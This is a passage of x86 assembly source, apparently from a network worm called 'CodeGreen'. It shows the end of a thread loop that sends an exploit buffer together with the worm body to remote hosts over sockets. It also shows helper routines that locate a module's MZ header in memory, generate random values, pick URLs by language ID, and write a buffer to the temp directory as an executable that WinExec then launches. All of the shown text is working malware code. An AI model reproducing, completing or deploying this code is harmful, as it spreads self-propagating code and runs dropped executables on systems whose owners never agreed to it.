					push CGExploitLen + CGLen ;CGMsgLen
				 mov edi, [ebp][ptrNewCodeGreen]
				 add edi, 4 ;first DD holds NrOfPushs
					push edi ;ptrBuf
					push [ebx+4] ;socket
				call [ebp][ProcTable+API_send]

					lea edx, [ebp][CritSec_SendCG]			;Leave Critical Section
						push edx
					call [ebp][ProcTable+API_LeaveCriticalSection]

			ThreadLoop_CloseSocket:
					push [ebx+4]
				call [ebp][ProcTable+API_closesocket]

		jmp ThreadLoop

		ThreadCleanup:
			mov ecx, 72
			ThreadCleanup_Loop:
				pop eax
			loop ThreadCleanup_Loop
	ret 4

	;**********************************************************************************
	;***                              functions                                     ***
	;**********************************************************************************

		SearchMZHeader:			;esi: Addr
			xor si, si
			sub esi, 00010000h
			mov ax, [esi]
			cmp ax, "ZM"
			jne SearchMZHeader
		ret

		DetermineStringLength: ;esi -> String	;RetVal: ECX:LenStr
			pushad
				mov edi, esi
				xor eax, eax
				xor ecx, ecx
				dec ecx

				repne scasb
				dec edi
				sub edi, esi
				mov [esp+24], edi
			popad
		ret

		FindUrlTableEntry: ;esi -> UrlTable ;bh: LangID[1..31] ;RetVal: ESI -> correct table-entry
			pushad
				mov edi, esi
				xor ecx, ecx
				mov cl, bh
				dec cl
				jcxz EntryInUrlTableFound
				xor eax, eax

				FindUrlTableEntry_SearchZeroLoop:
				push ecx
					xor ecx, ecx
					dec ecx
					repne scasb
				pop ecx
				loop FindUrlTableEntry_SearchZeroLoop
			EntryInUrlTableFound:
				mov [esp+4], edi
			popad
		ret

		RandomGenerator: ;Thread
			mov ebp, [esp+4]

			lea esi, [ebp][CurrentSystemTime]
				push esi
			call [ebp][ProcTable+API_GetSystemTime]
			mov eax, [esi+12]
			xor ecx, ecx
			mov cl, [esi+14]
			and cl, 00001111b ;ror by max 15 bits
			ror eax, cl
			xor eax, [ebp][RandVal]
			mov [ebp][RandVal], eax

			xor edx, edx
			mov dl, al
			and dl, 00001111b
			push edx
			call [ebp][ProcTable+API_Sleep]

			cmp [ebp][EndThreadsFlag], byte ptr 1
			jne RandomGenerator
		ret 4


		WriteFileToTempDirAndExecuteIt: ;EBX:FileSize ;ESI->TempFileName("Temp.exe") ;EDI->Buffer2Write
				ExecuteFile_InitStack:
					mov ecx, 256
					InitStackLoop:
						push 0
					loop InitStackLoop

			push edi
					mov edi, esp
					add edi, 4
			
				GetTempPathName:
						push edi	;lpBuf
						push 1010	;dwBufLen
					call [ebp][ProcTable+API_GetTempPath]		;GetTempPathA

				AddFileNameToTempPath:
					pushad
						add edi, eax
						call DetermineStringLength
						inc ecx	;plus zero at EndOfString
						rep movsb
					popad								;EDI -> FILENAME

				CreateTempFile:
						push 0
						push FILE_ATTRIBUTE_NORMAL
						push CREATE_ALWAYS
						push 0
						push 0
						push GENERIC_READ or GENERIC_WRITE
						push edi
					call [ebp][ProcTable+API_CreateFile]
			pop ecx										;ECX -> Buffer2Write
					cmp eax, INVALID_HANDLE_VALUE
					je ExecuteFile_ERROR

			WriteToTempFile:
				push eax
					push 0
						mov edx, esp
							push 0		;lpOverlapped
							push edx	;lpNrOfBytesWritten
							push ebx	;dwNrOfBytes2Write
							push ecx	;lpBuffer
							push eax	;hFile
						call [ebp][ProcTable+API_WriteFile]	;WriteFile
						cmp eax, TRUE
					pop eax
				pop eax

				pushfd

				CloseFileHandle:
						push eax
					call [ebp][ProcTable+API_CloseHandle]
				popfd
						jne ExecuteFile_ERROR

			ExecutePatchFile:
				push eax
						push 0
						push edi					;----^---- EDI->FileName
					call [ebp][ProcTable+API_WinExec]
						;cmp eax, 31
				pop eax
						;jg ERROR
			ExecuteFile_ERROR:

			ExecuteFile_DestroyStack:
				mov ecx, 256
				ExecuteFile_DestroyStackLoop:
					pop eax
				loop ExecuteFile_DestroyStackLoop
		ret

	;**********************************************************************************
	;***                              includes                                      ***
	;**********************************************************************************

		INCLUDE		CodeGreen_Variablen.INC

CGEnd EQU $
END _Entry